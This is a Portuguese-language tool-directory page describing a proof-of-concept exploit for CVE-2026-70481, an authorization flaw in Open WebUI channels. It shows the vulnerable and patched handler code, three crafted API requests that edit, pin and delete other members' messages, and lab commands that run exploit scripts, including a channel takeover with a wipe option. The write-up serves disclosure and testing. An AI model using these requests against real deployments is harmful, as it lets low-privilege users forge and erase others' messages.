Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/foxer131/cve-2026-70481
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Segurança de APIsSegurança WebTestes de Penetração
GitHubfoxer131/cve-2026-70481

CVE-2026-70481

Exploit de prova de conceito para uma falha de autorização no Open WebUI que permite que usuários com baixos privilégios editem e excluam mensagens de canal de outros membros por meio de chamadas de API elaboradas.

Ver Repositório
há 16 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-70481

Open WebUI, afetando as versões 0.5.0 a 0.10.2, corrigido na 0.11.0. Gravidade moderada, CVSS 5.4, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L, CWE-284 e CWE-862.

Em backend/open_webui/routers/channels.py, os handlers de atualização e exclusão de mensagens ramificam-se com base no tipo de canal, e os dois ramos fazem perguntas diferentes. Canais de grupo e de mensagens diretas são restritos ao autor.

root@kitploit:~
if channel.type in ['group', 'dm']:
    if not await Channels.is_user_channel_member(channel.id, user.id, db=db):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Membership is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
else:
    if (
        user.role != 'admin'
        and message.user_id != user.id
        and not await channel_has_access(user.id, channel, permission='write', strict=False, db=db)
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

O ramo de canal padrão é liberado apenas com acesso de escrita, e o acesso de escrita é exatamente o que new_message_handler exige para publicar; portanto, a capacidade de falar foi aceita como capacidade de reescrever e excluir. channel_has_access é satisfeito tanto por uma concessão por usuário quanto por uma concessão pública, de modo que uma sala privada com um colaborador é afetada da mesma forma que um canal aberto. O formulário de atualização vincula content, data e meta, enquanto a camada de modelo nunca toca em message.user_id; assim, uma mensagem editada mantém o nome do autor original.

A exploração consiste em três chamadas de API comuns, feitas a partir de uma conta comum com função user, que não está em nenhum grupo, não possui nada e não é autora de nada.

root@kitploit:~
POST   /api/v1/channels/<id>/messages/<victim_msg>/update
       {"content":"wire the funds to account 000",
        "data":{"attacker_injected":true},
        "meta":{"stored_payload":""}}   ->  200
POST   /api/v1/channels/<id>/messages/<victim_msg>/pin                           ->  200
DELETE /api/v1/channels/<id>/messages/<other_msg>/delete                         ->  200, true

O commit c609ec411 na versão 0.11.0 divide a verificação: primeiro o acesso de escrita, depois a autoria, alinhado ao ramo de grupo. A fixação (pin) permanece no nível de escrita, por design.

root@kitploit:~
else:
    if user.role != 'admin' and not await channel_has_access(
        user.id, channel, permission='write', strict=False, db=db
    ):
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())
    # Write access is not authorship — block cross-member edits.
    if user.role != 'admin' and message.user_id != user.id:
        raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, detail=ERROR_MESSAGES.DEFAULT())

Executando

root@kitploit:~
docker run -d -p 3080:8080 -e WEBUI_SECRET_KEY=devkey -e ENABLE_SIGNUP=true \
  -e DEFAULT_USER_ROLE=user --name open-webui ghcr.io/open-webui/open-webui:0.10.2

python3 prep/lab_setup.py                    # administrator, no attack, writes lab.json
python3 exploit_channel_message_tamper.py    # attacker, plus read-only and group-channel controls
python3 exploit_channel_takeover.py --wipe   # attacker, full channel takeover

Reexecute contra a 0.10.2 em 4 de agosto de 2026. Os scripts excluem mensagens de outros membros; portanto, aponte-os apenas para uma instância local descartável.

Referências

https://github.com/open-webui/open-webui/security/advisories/GHSA-mj5r-jf49-m3w7

https://www.cve.org/CVERecord?id=CVE-2026-70481

https://nvd.nist.gov/vuln/detail/CVE-2026-70481

Baixar ferramenta